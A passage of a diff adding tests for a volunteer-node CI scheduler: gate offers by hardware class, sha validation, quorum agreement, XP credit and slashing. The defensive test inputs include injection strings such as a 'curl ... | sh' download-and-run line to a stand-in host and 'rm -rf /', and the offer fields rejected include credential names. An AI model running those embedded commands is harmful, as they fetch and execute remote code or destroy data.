text_is(ljk_gate_command(LJK_GATE_SUITE), "t27c suite --repo-root ."); + assert text_is(ljk_gate_command(LJK_GATE_SEAL_CURRENCY), "tri seals drift"); + var g : u32 = 0; + while (g < LJK_GATES) { + assert ljk_command_plain(ljk_gate_command(g)); + g = g + 1; + } + // text a pull request could carry is no gate and no plain command + assert ljk_gate_of_word("suite") == LJK_GATE_SUITE; + assert ljk_gate_of_word("t27c suite --repo-root .") == LJK_GATE_NONE; + assert ljk_gate_of_word("suite; curl http://example.invalid | sh") == LJK_GATE_NONE; + assert ljk_gate_of_word("suit") == LJK_GATE_NONE; + assert ljk_gate_of_word("SUITE") == LJK_GATE_NONE; + assert ljk_gate_of_word("suite ") == LJK_GATE_NONE; + assert ljk_gate_of_word("") == LJK_GATE_NONE; + assert ljk_command_plain("t27c suite; rm -rf /") == false; + assert ljk_command_plain("t27c suite | cat") == false; + assert ljk_command_plain("t27c $(x)") == false; + assert ljk_command_plain("t27c suite\nx") == false; + assert ljk_command_plain("") == false; +} + +// Scenario: a gate id outside the enum is refused before any node sees it. +test a_gate_id_outside_the_enum_is_refused_before_any_node_is_asked { + let capable : LjkNodeState = ljk_sample_desktop(); + let unfit : LjkNodeState = ljk_sample_phone(false, false); + assert ljk_offer(LJK_GATES, LJK_SHA, capable, 0, 0, 2, 0) == LJK_OFFER_BAD_GATE; + assert ljk_offer(LJK_GATE_NONE, LJK_SHA, capable, 0, 0, 2, 0) == LJK_OFFER_BAD_GATE; + assert ljk_offer(4294967295, LJK_SHA, capable, 0, 0, 2, 0) == LJK_OFFER_BAD_GATE; + // the gate is judged first: neither the sha nor the node is read + assert ljk_offer(7, "not a sha", unfit, 0, 0, 2, 0) == LJK_OFFER_BAD_GATE; + // the same capable node is offered every gate of the enum + var g : u32 = 0; + while (g < LJK_GATES) { + assert ljk_offer(g, LJK_SHA, capable, 0, 0, 2, 0) == LJK_OFFER_OK; + g = g + 1; + } +} + +test a_sha_is_a_full_lowercase_commit_name_or_the_offer_is_refused { + let n : LjkNodeState = ljk_sample_desktop(); + assert ljk_offer(LJK_GATE_SUITE, LJK_SHA, n, 0, 0, 2, 0) == LJK_OFFER_OK; + assert ljk_offer(LJK_GATE_SUITE, "", n, 0, 0, 2, 0) == LJK_OFFER_BAD_SHA; + assert ljk_offer(LJK_GATE_SUITE, "0123456", n, 0, 0, 2, 0) == LJK_OFFER_BAD_SHA; + assert ljk_offer(LJK_GATE_SUITE, "0123456789ABCDEF0123456789ABCDEF01234567", n, 0, 0, 2, 0) == LJK_OFFER_BAD_SHA; + assert ljk_offer(LJK_GATE_SUITE, "0123456789abcdef0123456789abcdef0123456g", n, 0, 0, 2, 0) == LJK_OFFER_BAD_SHA; + assert ljk_offer(LJK_GATE_SUITE, "0123456789abcdef0123456789abcdef012345670", n, 0, 0, 2, 0) == LJK_OFFER_BAD_SHA; + assert ljk_offer(LJK_GATE_SUITE, "--help", n, 0, 0, 2, 0) == LJK_OFFER_BAD_SHA; +} + +// Scenario: a desktop node asks for work and is offered a `t27c suite` gate for a sha. +test a_desktop_asking_for_work_is_offered_the_suite_gate_for_a_sha { + let n : LjkNodeState = ljk_sample_desktop(); + assert ljk_offer(LJK_GATE_SUITE, LJK_SHA, n, 0, 0, 2, 0) == LJK_OFFER_OK; + assert text_is(ljk_gate_command(LJK_GATE_SUITE), "t27c suite --repo-root ."); + assert ljk_gate_class(LJK_GATE_SUITE) == LJK_CLASS_HEAVY; + assert ljk_node_takes(n, LJK_CLASS_HEAVY) == LJK_TAKE_OK; +} + +// Scenario: a phone on battery asks for work and receives none. +test a_phone_on_battery_is_offered_no_gate_at_all { + var g : u32 = 0; + while (g < LJK_GATES) { + assert ljk_offer(g, LJK_SHA, ljk_sample_phone(false, true), 0, 0, 1, 0) != LJK_OFFER_OK; + assert ljk_offer(g, LJK_SHA, ljk_sample_phone(false, false), 0, 0, 1, 0) != LJK_OFFER_OK; + g = g + 1; + } + // the light gate is refused for the power state and for nothing else + assert ljk_node_takes(ljk_sample_phone(false, true), LJK_CLASS_LIGHT) == LJK_TAKE_POWER; + assert ljk_offer(LJK_GATE_SEAL_CURRENCY, LJK_SHA, ljk_sample_phone(false, true), 0, 0, 1, 0) == LJK_OFFER_NODE_UNFIT; +} + +test a_phone_takes_only_light_gates_while_charging_on_an_unmetered_link { + let p : LjkNodeState = ljk_sample_phone(true, true); + var g : u32 = 0; + while (g < LJK_GATES) { + assert (ljk_offer(g, LJK_SHA, p, 0, 0, 1, 0) == LJK_OFFER_OK) == (ljk_gate_class(g) == LJK_CLASS_LIGHT); + g = g + 1; + } + assert ljk_node_takes(p, LJK_CLASS_LIGHT) == LJK_TAKE_OK; + assert ljk_node_takes(p, LJK_CLASS_MEDIUM) == LJK_TAKE_TOO_HEAVY; + assert ljk_node_takes(p, LJK_CLASS_HEAVY) == LJK_TAKE_TOO_HEAVY; + // charging on a metered link: not offered + assert ljk_node_takes(ljk_sample_phone(true, false), LJK_CLASS_LIGHT) == LJK_TAKE_LINK; + assert ljk_offer(LJK_GATE_SEAL_CURRENCY, LJK_SHA, ljk_sample_phone(true, false), 0, 0, 1, 0) == LJK_OFFER_NODE_UNFIT; +} + +test a_laptop_takes_light_work_on_battery_and_heavier_work_only_while_charging { + assert ljk_node_takes(ljk_sample_laptop(false), LJK_CLASS_LIGHT) == LJK_TAKE_OK; + assert ljk_node_takes(ljk_sample_laptop(false), LJK_CLASS_MEDIUM) == LJK_TAKE_POWER; + assert ljk_node_takes(ljk_sample_laptop(false), LJK_CLASS_HEAVY) == LJK_TAKE_POWER; + assert ljk_node_takes(ljk_sample_laptop(true), LJK_CLASS_LIGHT) == LJK_TAKE_OK; + assert ljk_node_takes(ljk_sample_laptop(true), LJK_CLASS_MEDIUM) == LJK_TAKE_OK; + assert ljk_node_takes(ljk_sample_laptop(true), LJK_CLASS_HEAVY) == LJK_TAKE_OK; + // a desktop has no power state to wait for + var d : LjkNodeState = ljk_sample_desktop(); + d.charging = false; + assert ljk_node_takes(d, LJK_CLASS_HEAVY) == LJK_TAKE_OK; +} + +test a_node_needs_the_cores_and_the_free_disk_of_the_gate_class_to_the_unit { + var c : u8 = 0; + while (c < LJK_CLASSES) { + var n : LjkNodeState = ljk_sample_desktop(); + n.cores = LJK_NEED_CORES[c] - 1; + assert ljk_node_takes(n, c) == LJK_TAKE_CORES; + n.cores = LJK_NEED_CORES[c]; + n.free_disk_mb = LJK_NEED_DISK_MB[c] - 1; + assert ljk_node_takes(n, c) == LJK_TAKE_DISK; + n.free_disk_mb = LJK_NEED_DISK_MB[c]; + assert ljk_node_takes(n, c) == LJK_TAKE_OK; + c = c + 1; + } + // a node class or a gate class that is not one takes nothing + var bad : LjkNodeState = ljk_sample_desktop(); + bad.node_class = LJK_NODE_CLASSES; + assert ljk_node_takes(bad, LJK_CLASS_LIGHT) == LJK_TAKE_BAD_NODE; + assert ljk_node_takes(ljk_sample_desktop(), LJK_CLASSES) == LJK_TAKE_BAD_CLASS; + assert ljk_max_class(LJK_NODE_PHONE) == LJK_CLASS_LIGHT; + assert ljk_max_class(LJK_NODE_LAPTOP) == LJK_CLASS_HEAVY and ljk_max_class(LJK_NODE_DESKTOP) == LJK_CLASS_HEAVY; +} + +test a_node_that_is_down_suspended_or_full_is_not_placed_whatever_its_hardware { + let n : LjkNodeState = ljk_sample_desktop(); + assert ljk_offer(LJK_GATE_SEAL_CURRENCY, LJK_SHA, n, NODE_TTL_SECONDS - 1, 0, 1, 0) == LJK_OFFER_OK; + assert ljk_offer(LJK_GATE_SEAL_CURRENCY, LJK_SHA, n, NODE_TTL_SECONDS, 0, 1, 0) == LJK_OFFER_NOT_PLACEABLE; + assert ljk_offer(LJK_GATE_SEAL_CURRENCY, LJK_SHA, n, 0, STRIKES_MAX - 1, 1, 0) == LJK_OFFER_OK; + assert ljk_offer(LJK_GATE_SEAL_CURRENCY, LJK_SHA, n, 0, STRIKES_MAX, 1, 0) == LJK_OFFER_NOT_PLACEABLE; + assert ljk_offer(LJK_GATE_SEAL_CURRENCY, LJK_SHA, n, 0, 0, 1, 1) == LJK_OFFER_NOT_PLACEABLE; + assert ljk_offer(LJK_GATE_SEAL_CURRENCY, LJK_SHA, n, 0, 0, 0, 0) == LJK_OFFER_NOT_PLACEABLE; + // the hardware is judged before the standing + assert ljk_offer(LJK_GATE_SUITE, LJK_SHA, ljk_sample_phone(true, true), NODE_TTL_SECONDS, 0, 1, 0) == LJK_OFFER_NODE_UNFIT; +} + +test the_gate_is_public_tier_only_and_a_node_is_never_handed_a_credential { + assert LJK_TRUST_TIER == TIER_PUBLIC; + assert LJK_HOLDS_SECRET == false and LJK_HOLDS_PERSONAL == false; + assert eligible(LJK_TRUST_TIER, WC_SHARD, LJK_HOLDS_SECRET, LJK_HOLDS_PERSONAL); + // a workload that held a secret or personal data would not be eligible for a public node + assert eligible(TIER_PUBLIC, WC_SHARD, true, false) == false; + assert eligible(TIER_PUBLIC, WC_SHARD, false, true) == false; + // the offer is the sha, the gate id and the challenge, and nothing else + assert LJK_OFFER_FIELD_COUNT == 3; + assert ljk_offer_field_ok("sha") and ljk_offer_field_ok("gate") and ljk_offer_field_ok("challenge"); + assert ljk_offer_field_ok("token") == false; + assert ljk_offer_field_ok("github_token") == false; + assert ljk_offer_field_ok("authorization") == false; + assert ljk_offer_field_ok("password") == false; + assert ljk_offer_field_ok("secret") == false; + assert ljk_offer_field_ok("command") == false; + assert ljk_offer_field_ok("") == false; + // the job's own parameters are the first two fields + assert text_is(LJK_PARAMS[0], LJK_OFFER_FIELDS[0]) and text_is(LJK_PARAMS[1], LJK_OFFER_FIELDS[1]); +} + +// Scenario: two nodes return the same verdict_root, the gate is admitted and both are credited. +test two_nodes_with_one_verdict_root_admit_the_gate_and_both_are_credited { + // the receipts agree on every AGREE_FIELDS line, the verdict_root among them; the binaries' hashes differ + assert AGREE_FIELD_COUNT == 5; + assert text_is(AGREE_FIELDS[2], "verdict_root"); + assert results_agree(LJK_MSG_A, LJK_MSG_B); + // two receipts, one group: agreed, so admitted + assert ljk_next(job_verdict(2, 2, 0, REPLICAS_K, false)) == LJK_NEXT_ADMIT; + assert ljk_round_word(2, 0) == QV_BELOW_QUORUM; + assert ljk_round_word(3, 0) == QV_QUORUM; + // both receipts are fresh and agree with the admitted run: each is awarded a fee + assert ljk_award(LJK_NEXT_ADMIT, AUTH_MISSING_NONE, true) == AWARD_FEE; + // the first agreeing receipt is the executor's, the second a verifier's + assert ljk_row_kind(AWARD_FEE, false, 0) == EXECUTOR_FEE; + assert ljk_row_kind(AWARD_FEE, false, 1) == VERIFIER_FEE; + // with a known answer every agreeing receipt is a verifier's + assert ljk_row_kind(AWARD_FEE, true, 0) == VERIFIER_FEE; + // each row is the gate class's XP: the suite gate is heavy, nine times the per-job rate + assert ljk_row_xp(AWARD_FEE, ljk_gate_class(LJK_GATE_SUITE), true, 0, 0) == 9 * REWARD_PER_JOB_MTRI; + assert ljk_row_due(AWARD_FEE, false, false); + // the rows are rows of the existing ledger: no new kind + assert leaf_kind_known(ljk_row_kind(AWARD_FEE, false, 0)); + assert leaf_kind_known(ljk_row_kind(AWARD_FEE, false, 1)); + // a second node of the same operator is not a second vote and earns nothing + assert ljk_row_xp(AWARD_FEE, LJK_CLASS_HEAVY, false, 0, 0) == 0; + // one receipt alone is not an admission, and a node that never answers does not hold the gate open + assert ljk_next(job_verdict(1, 1, 0, REPLICAS_K, false)) == LJK_NEXT_WAIT; + assert ljk_next(job_verdict(1, 1, 0, REPLICAS_K, true)) == LJK_NEXT_VOID; + assert ljk_next(job_verdict(0, 0, 0, REPLICAS_K, false)) == LJK_NEXT_WAIT; + assert ljk_round_word(1, 0) == QV_BELOW_QUORUM; + assert ljk_round_word(0, 0) == QV_NO_VOTE; +} + +// Scenario: a node returns a different verdict_root: the quorum is SPLIT, the minority is slashed once a +// majority forms, and the gate is retried on another node. +test a_different_verdict_root_splits_the_round_and_the_gate_is_retried_on_another_node { + assert results_agree(LJK_MSG_A, LJK_MSG_C) == false; + // 1-1: split, nobody is slashed (there is no admitted run, so no side), and one more node is asked + assert ljk_round_word(1, 1) == QV_SPLIT; + assert ljk_next(job_verdict(2, 1, 1, REPLICAS_K, false)) == LJK_NEXT_RETRY; + assert wanted_after(JV_TIEBREAK, REPLICAS_K) == REPLICAS_K + 1; + assert ljk_award(LJK_NEXT_RETRY, AUTH_MISSING_NONE, false) == AWARD_NONE; + assert ljk_award(LJK_NEXT_RETRY, AUTH_MISSING_NONE, true) == AWARD_NONE; + // the node that returned the odd root is never offered the gate again + assert spread_ok(TIER_PUBLIC, true, 0) == false; + assert spread_ok(TIER_PUBLIC, false, 0); + // 2-1: the retry sides with one root; the gate is admitted, the round is still SPLIT + assert ljk_next(job_verdict(3, 2, 1, REPLICAS_MAX, false)) == LJK_NEXT_ADMIT; + assert ljk_round_word(2, 1) == QV_SPLIT; + // the two on the majority are credited, the one on the minority is slashed + assert side_of(JV_AGREED, TOP_GROUP) == SIDE_AGREED; + assert side_of(JV_AGREED, 1) == SIDE_DISSENT; + assert ljk_award(LJK_NEXT_ADMIT, AUTH_MISSING_NONE, true) == AWARD_FEE; + assert ljk_award(LJK_NEXT_ADMIT, AUTH_MISSING_NONE, false) == AWARD_SLASH; + assert ljk_row_kind(AWARD_SLASH, false, 2) == ENTRY_SLASH; + // 1-1-1: no majority within REPLICAS_MAX, the gate is void, nobody is credited, nobody is slashed + assert ljk_next(job_verdict(3, 1, 1, REPLICAS_MAX, false)) == LJK_NEXT_VOID; + assert side_of(JV_UNRESOLVED, 1) == SIDE_NONE; + assert ljk_award(LJK_NEXT_VOID, AUTH_MISSING_NONE, false) == AWARD_NONE; + assert ljk_award(LJK_NEXT_VOID, AUTH_MISSING_NONE, true) == AWARD_NONE; + // the anchored judgment feeds the same move: an anchor with a matching replica admits, a public tie waits + assert ljk_next(anchored_verdict(true, 2, 2, REPLICAS_K, false)) == LJK_NEXT_ADMIT; + assert ljk_next(anchored_verdict(false, 0, 2, REPLICAS_K, false)) == LJK_NEXT_WAIT; + assert ljk_next(JV_PENDING) == LJK_NEXT_WAIT; +} + +test a_receipt_that_is_not_authentic_for_its_offer_earns_nothing_and_is_not_slashed { + assert ljk_award(LJK_NEXT_ADMIT, AUTH_UNSIGNED, true) == AWARD_NONE; + assert ljk_award(LJK_NEXT_ADMIT, AUTH_BAD_SIGNATURE, true) == AWARD_NONE; + assert ljk_award(LJK_NEXT_ADMIT, AUTH_NO_NONCE, true) == AWARD_NONE; + assert ljk_award(LJK_NEXT_ADMIT, AUTH_NO_NONCE, false) == AWARD_NONE; + assert ljk_award(LJK_NEXT_ADMIT, AUTH_BAD_SIGNATURE, false) == AWARD_NONE; + assert ljk_award(LJK_NEXT_WAIT, AUTH_MISSING_NONE, true) == AWARD_NONE; + // a row is written once per (node, gate job), a credit and a slash each + assert ljk_row_due(AWARD_FEE, true, false) == false; + assert ljk_row_due(AWARD_SLASH, false, true) == false; + assert ljk_row_due(AWARD_SLASH, true, false); + assert ljk_row_due(AWARD_NONE, false, false) == false; + assert ljk_row_kind(AWARD_NONE, false, 0) == LJK_ROW_NONE; + assert ljk_row_xp(AWARD_NONE, LJK_CLASS_HEAVY, true, 5, CAP_PUBLIC_MTRI) == 0; +} + +test a_slash_forfeits_what_the_key_earned_this_epoch_never_past_its_cap { + assert ljk_row_xp(AWARD_SLASH, LJK_CLASS_HEAVY, true, 0, CAP_PUBLIC_MTRI) == 0; + assert ljk_row_xp(AWARD_SLASH, LJK_CLASS_HEAVY, true, 5, CAP_PUBLIC_MTRI) == 5; + assert ljk_row_xp(AWARD_SLASH, LJK_CLASS_HEAVY, true, CAP_PUBLIC_MTRI, CAP_PUBLIC_MTRI) == CAP_PUBLIC_MTRI; + assert ljk_row_xp(AWARD_SLASH, LJK_CLASS_HEAVY, true, CAP_PUBLIC_MTRI + 100, CAP_PUBLIC_MTRI) == CAP_PUBLIC_MTRI; + // the balance never goes below zero, and a slash only takes + assert balance_after_entry(3, ENTRY_SLASH, 10) == 0; + assert balance_after_entry(30, ENTRY_SLASH, 10) == 20; +} + +test the_xp_weight_rises_with_the_gate_class_and_a_light_gate_pays_the_per_job_rate { + assert ljk_xp_weight(LJK_CLASS_LIGHT) == REWARD_PER_JOB_MTRI; + assert ljk_xp_weight(LJK_CLASS_MEDIUM) == 3 * REWARD_PER_JOB_MTRI; + assert ljk_xp_weight(LJK_CLASS_HEAVY) == 9 * REWARD_PER_JOB_MTRI; + assert ljk_xp_weight(LJK_CLASSES) == 0; + assert ljk_xp_weight(LJK_CLASS_LIGHT) < ljk_xp_weight(LJK_CLASS_MEDIUM); + assert ljk_xp_weight(LJK_CLASS_MEDIUM) < ljk_xp_weight(LJK_CLASS_HEAVY); + assert text_is(LJK_CLASS_WORDS[LJK_CLASS_LIGHT], "light") and text_is(LJK_CLASS_WORDS[LJK_CLASS_HEAVY], "heavy"); +} + +test the_level_is_read_off_the_balance_and_the_balance_off_the_ledger_rows { + var b : u64 = 0; + assert ljk_level(b) == 1 and ljk_level_progress(b) == 0; + // one heavy gate as executor, one medium gate as verifier + b = balance_after_entry(b, EXECUTOR_FEE, ljk_xp_weight(LJK_CLASS_HEAVY)); + b = balance_after_entry(b, VERIFIER_FEE, ljk_xp_weight(LJK_CLASS_MEDIUM)); + assert b == 12 * REWARD_PER_JOB_MTRI; + assert ljk_level(b) == 1 and ljk_level_progress(b) == 12; + // a slash lowers it, and the level with it + b = balance_after_entry(b, ENTRY_SLASH, 5); + assert b == 7; + var up : u64 = balance_after_entry(b, EXECUTOR_FEE, 20); + assert up == LJK_LEVEL_XP and ljk_level(up) == 2 and ljk_level_progress(up) == 0; + assert ljk_level(LJK_LEVEL_XP - 1) == 1 and ljk_level(LJK_LEVEL_XP) == 2 and ljk_level(3 * LJK_LEVEL_XP) == 4; + // the level never falls as the balance rises + var x : u64 = 0; + while (x < 200) { + assert ljk_level(x + 1) >= ljk_level(x); + assert ljk_level_progress(x) < LJK_LEVEL_XP; + x = x + 7; + } +} + +test the_streak_counts_consecutive_epochs_with_a_credit_and_a_gap_ends_it { + assert epoch_of(EPOCH_ORIGIN_UNIX + (2 * EPOCH_SECONDS) + 5) == 2; + var streak : u32 = 0; + var last : u64 = 0; + // a first credit in epoch 4 + streak = ljk_streak_after(streak, last, 4); + last = 4; + assert streak == 1; + // a second credit in the same epoch, and a late row of an earlier one: unchanged + assert ljk_streak_after(streak, last, 4) == 1; + assert ljk_streak_after(streak, last, 3) == 1; + // the next epochs add one each + streak = ljk_streak_after(streak, last, 5); + last = 5; + streak = ljk_streak_after(streak, last, 6); + last = 6; + assert streak == 3; + // the home shows it through the epoch after the last credit, and not after a whole epoch without one + assert ljk_streak_shown(streak, last, 6) == 3; + assert ljk_streak_shown(streak, last, 7) == 3; + assert ljk_streak_shown(streak, last, 8) == 0; + // a gap of a whole epoch starts again at 1; a streak never wraps + assert ljk_streak_after(streak, last, 8) == 1; + assert ljk_streak_after(LJK_STREAK_MAX, last, 7) == LJK_STREAK_MAX; + // a streak changes no amount: the row's XP is the class's, whatever the streak + assert ljk_row_xp(AWARD_FEE, LJK_CLASS_MEDIUM, true, 0, 0) == ljk_xp_weight(LJK_CLASS_MEDIUM); +} + +test an_xp_credit_is_pending_through_the_challenge_window_and_then_final { + assert ljk_xp_final(0, false) == false; + assert ljk_xp_final(CHALLENGE_WINDOW_MINUTES - 1, false) == false; + assert ljk_xp_final(CHALLENGE_WINDOW_MINUTES, false); + assert ljk_xp_final(CHALLENGE_WINDOW_MINUTES * 10, true) == false; +} + +test the_reward_card_belongs_to_the_depin_node_petal_of_the_home { + assert PETAL_COUNT == 27; + assert petal_ok(LJK_HOME_PETAL); + assert ljk_world_is(WORLD_NAMES, LJK_HOME_PETAL, "DePIN NODE"); + assert ljk_world_is(WORLD_NAMES, 0, "CHAT"); + assert ljk_world_is(WORLD_NAMES, 26, "ABOUT"); + assert ljk_world_is(WORLD_NAMES, LJK_HOME_PETAL, "DePIN") == false; + assert ljk_world_is(WORLD_NAMES, 27, "ABOUT") == false; +} + +test the_gates_k_of_n_is_a_safe_quorum_by_the_networks_own_rule { + // k of n for one gate: REPLICAS_K of at most REPLICAS_MAX nodes, no fault assumed inside the job + let c : QuorumConfig = one_key_each(REPLICAS_MAX, 0, REPLICAS_K); + assert config_safe(c); + assert safe_m(REPLICAS_MAX, 0) == REPLICAS_K; + assert quorum_admits(c, REPLICAS_K); + assert quorum_admits(c, REPLICAS_MAX); + assert quorum_admits(c, REPLICAS_K - 1) == false; + assert quorum_admits(c, 0) == false; +} + +invariant xp_is_test_credit_and_nothing_settles { + assert CREDIT_IS_TEST; + assert SETTLEMENT_ENABLED == false; + assert TOKEN_VALUE_CLAIMED == false; + assert CREDIT_TRANSFERABLE == false; + assert EXECUTOR_FEE != VERIFIER_FEE; + assert LJK_LEVEL_XP > 0; +} + +invariant a_heavier_gate_class_needs_more_of_a_node_and_pays_more { + assert LJK_NEED_CORES[0] <= LJK_NEED_CORES[1] and LJK_NEED_CORES[1] <= LJK_NEED_CORES[2]; + assert LJK_NEED_DISK_MB[0] <= LJK_NEED_DISK_MB[1] and LJK_NEED_DISK_MB[1] <= LJK_NEED_DISK_MB[2]; + assert LJK_XP_TIMES[0] <= LJK_XP_TIMES[1] and LJK_XP_TIMES[1] <= LJK_XP_TIMES[2]; + assert LJK_XP_TIMES[0] > 0; + assert LJK_GATE_NONE >= LJK_GATES; +} + +invariant a_gate_needs_two_replicas_to_agree_and_the_tiebreak_ceiling_bounds_the_retries { + assert REPLICAS_K >= 2; + assert REPLICAS_K <= REPLICAS_MAX; + assert LJK_OFFER_FIELD_COUNT == 3; +}